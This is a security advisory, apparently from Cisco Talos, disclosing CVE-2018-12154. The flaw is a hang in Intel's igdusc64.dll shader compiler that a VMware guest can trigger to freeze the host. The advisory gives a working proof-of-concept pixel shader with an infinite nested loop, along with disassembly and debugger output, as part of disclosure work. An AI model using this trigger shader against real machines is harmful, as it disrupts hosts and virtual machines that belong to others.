CVE-2018-12154
An exploitable denial of service vulnerability exists in the Intel’s Unified Shader Compiler for Intel(R) Graphics Accelerator (10.18.14.4889). A specially crafted pixel shader can cause denial-of-service issues. An attacker can provide a specially crafted shader file (either in binary or text form) to trigger this vulnerability. This vulnerability can be triggered from VMware guest, and VMware host will be affected (leading to vmware-vmx.exe process freeze / unresponsiveness / host CPU resource consumption).
Intel igdusc64.dll 10.18.14.4889 (x64) on Windows 8.1 x64 VMware Workstation 14 (14.0.0 build-6661328) with Windows 8.1 x64 as guestVM
6.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
CWE-835: Loop with Unreachable Exit Condition (‘Infinite Loop’)
This vulnerability can be triggered by supplying a malformed pixel shader (in text or binary form) to the Intel igdusc64.dll driver. Such attack can be triggered from local machine (usermode), from VMware guest usermode (to trigger the bug on VMware host) or theoretically through WEBGL (remote website) — assuming the browser will not use ANGLE and somehow supply the malformed shader to the vulnerable Intel driver.
In a typical situation, even if the shader consists of infinite loop, it’s execution should be terminated by the driver watchdog. This is correct for shaders that don’t use nested loops. So, for example, a simple pixel shader like the one below will not cause any problems in the Intel igdusc64.dll driver despite the fact that the for loop should theoretically run forever.
void main( void ) {
float val;
for(float i=0.0; i!=0.1; i+=0.0)
val = val+0.000001;
gl_FragColor += val;
}
However, this is not the case when a shader is used that consists of nested loops (one of which being infinite):
void main( void ) {
for(int i = 0; i < 1; i++) {
for(int j = 0; j < 1; j += 0) {
gl_FragColor += float(i);
}
}
}
The second loop condition will never be met, therefore this loop will run forever, causing the igdusc64.dll driver to execute the following code indefinitely:
.text:00000000004FC850 loc_4FC850: ; CODE XREF: forever_loop_x+FB°j
.text:00000000004FC850 mov rdx, [rdx+2E8h] ; forever loop
.text:00000000004FC857 cmp [rdx+18h], r8d ; [rdx+0x18] -> always -1, != r8d
.text:00000000004FC85B ja short loc_4FC850 ; always taken
This leads to excessive CPU resource consumption on the host, and basically renders the process unresponsive (so in case of a virtual machine, the entire VM will be unresponsive).
(no crash here, just stack backtrace+debugger output due to nature of the bug)
...
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942adc090 [rdx+18h]=0xffffffff r8d=0x00000004
0x04FC85B: loop condition rdx=0x0000004942b16280 [rdx+18h]=0xffffffff r8d=0x00000004
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ffb`77f72793 : 00000000`00000004 00000049`4297cd70 00000000`00000006 00000049`42ad3870 : igdusc64!USC::getInitShaderWriteMask+0xffbb
01 00007ffb`77f7c75b : 00000000`00000001 00000049`00000001 00000049`42adf110 00000049`4297cf20 : igdusc64!USC::getInitShaderWriteMask+0x15ef3
02 00007ffb`77b96707 : 00000049`00000000 00000049`00000001 00000049`42adf110 00000049`42ad2e01 : igdusc64!USC::getInitShaderWriteMask+0x1febb
03 00007ffb`77b96bf9 : 00000000`00000001 00007ffb`00000001 00000049`42a30001 00000000`00000000 : igdusc64!USC::SetClientCallbacks+0x2b7a7
04 00007ffb`77b98956 : 00000049`4297d100 00000049`4297d100 00000000`00000001 00000049`42ad8a00 : igdusc64!USC::SetClientCallbacks+0x2bc99
05 00007ffb`77b99043 : 00000049`00000000 00000049`00000001 00000049`4297d230 00000000`00000001 : igdusc64!USC::SetClientCallbacks+0x2d9f6
06 00007ffb`77b99274 : 00000000`00000001 00000049`00000001 00000049`4297d530 00007ffb`77f10131 : igdusc64!USC::SetClientCallbacks+0x2e0e3
07 00007ffb`77f0ef3e : 00000000`00000001 00000049`4297d310 00000049`42ad8af0 00000000`00000001 : igdusc64!USC::SetClientCallbacks+0x2e314
08 00007ffb`77ac8907 : 00000049`42a91738 00000000`00000000 00000049`4297db98 00000049`42a30000 : igdusc64!USC::SetClientCallbacks+0x3a3fde
09 00007ffb`77ad0eeb : 00003900`00000000 0000047c`00000000 00000000`000000c6 00000001`0000037f : igdusc64!OpenCompiler12+0x4267
0a 00007ffb`77ad30ef : 00000000`00000001 00000049`42a91718 00000049`4297db98 00000049`42ac72d0 : igdusc64!OpenCompiler12+0xc84b
0b 00007ffb`77acecd4 : 00000049`42ac7010 00000000`00000000 00000049`4297dbc0 00000000`00000001 : igdusc64!OpenCompiler12+0xea4f
0c 00007ffb`7d3ac43c : 00007ffb`7efa9580 00000049`4297dbc0 00000000`00000001 00000000`00000001 : igdusc64!OpenCompiler12+0xa634
0d 00007ffb`7ef6cce8 : 00007ffb`00000080 00000049`00000001 00007ffb`7efa9580 00007ffb`7efa9580 : igd10iumd64!OpenAdapter10_2+0x3ae83c
0e 00007ffb`7ef6c7c1 : 00000049`42abc840 00000049`42ab2aa0 00000049`4297e168 00000000`00000000 : d3d11!CPixelShader::CLS::FinalConstruct+0x238
0f 00007ffb`7ef6c6d0 : 00000049`42ad2610 00000049`42ad25d0 00007ffb`7efa3448 00000049`4297e168 : d3d11!CLayeredObjectWithCLS<CPixelShader>::FinalConstruct+0xd5
10 00007ffb`7ef6c5a7 : 00000049`42ad2610 00000049`42ad2610 00000000`00000009 00000049`4297f500 : d3d11!CLayeredObjectWithCLS<CPixelShader>::CreateInstance+0x11c
11 00007ffb`7ef57fdd : 00000049`42ad2218 00000000`00000009 0000efa1`927d60a9 00000049`4297f4d0 : d3d11!CDevice::CreateLayeredChild+0x1cff
12 00007ffb`7ef57e39 : 00000049`42ad25e8 00000000`00000009 00000049`4297f918 00007ffb`843957d0 : d3d11!NDXGI::CDevice::CreateLayeredChild+0x222
13 00007ffb`7ef6ca78 : 00000049`42ab1670 00007ffb`00000009 00000049`42ab1670 00000049`4297f770 : d3d11!NOutermost::CDevice::CreateLayeredChild+0x281
14 00007ffb`7ef6c9d8 : 00000049`42a916a0 00007ffb`00000000 00000000`00000000 00000000`00000000 : d3d11!CDevice::CreateAndRecreateLayeredChild<SD3D11LayeredPixelShaderCreationArgs>+0x78
15 00007ffb`7ef70766 : 00000049`42ab1c90 00000049`42a916a0 00000000`000001d4 00000000`00000000 : d3d11!CDevice::CreatePixelShader_Worker+0x1a0
16 00007ff7`3731f2dd : 00007ff7`373256a8 00000000`00000001 00000000`00000046 00000000`0000001b : d3d11!CDevice::ID3D10Device1_CreatePixelShader_+0x26
17 00007ff7`3731eab7 : 00000049`4297fba0 00007ff7`372f0000 0066005f`0000000a 00000000`00000000 : SampleDX10+0x2f2dd
18 00007ff7`37320396 : 00007ff7`372f0000 00000000`00000000 00000049`42a834f5 00007ff7`0000000a : SampleDX10+0x2eab7
19 00007ffb`830513d2 : 00007ff7`37320404 00000000`00000000 00000000`00000000 00000000`00000000 : SampleDX10+0x30396
1a 00007ffb`843a54f4 : 00007ffb`830513b0 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x22
1b 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x34
0:000> u @rip
igdusc64!USC::getInitShaderWriteMask+0xffb0:
00007ffb`77f6c850 488b92e8020000 mov rdx,qword ptr [rdx+2E8h]
00007ffb`77f6c857 44394218 cmp dword ptr [rdx+18h],r8d
00007ffb`77f6c85b 77f3 ja igdusc64!USC::getInitShaderWriteMask+0xffb0 (00007ffb`77f6c850)
2018-04-19 - Vendor Disclosure
2018-10-09 - Public Release
Discovered by Piotr Bania of Cisco Talos.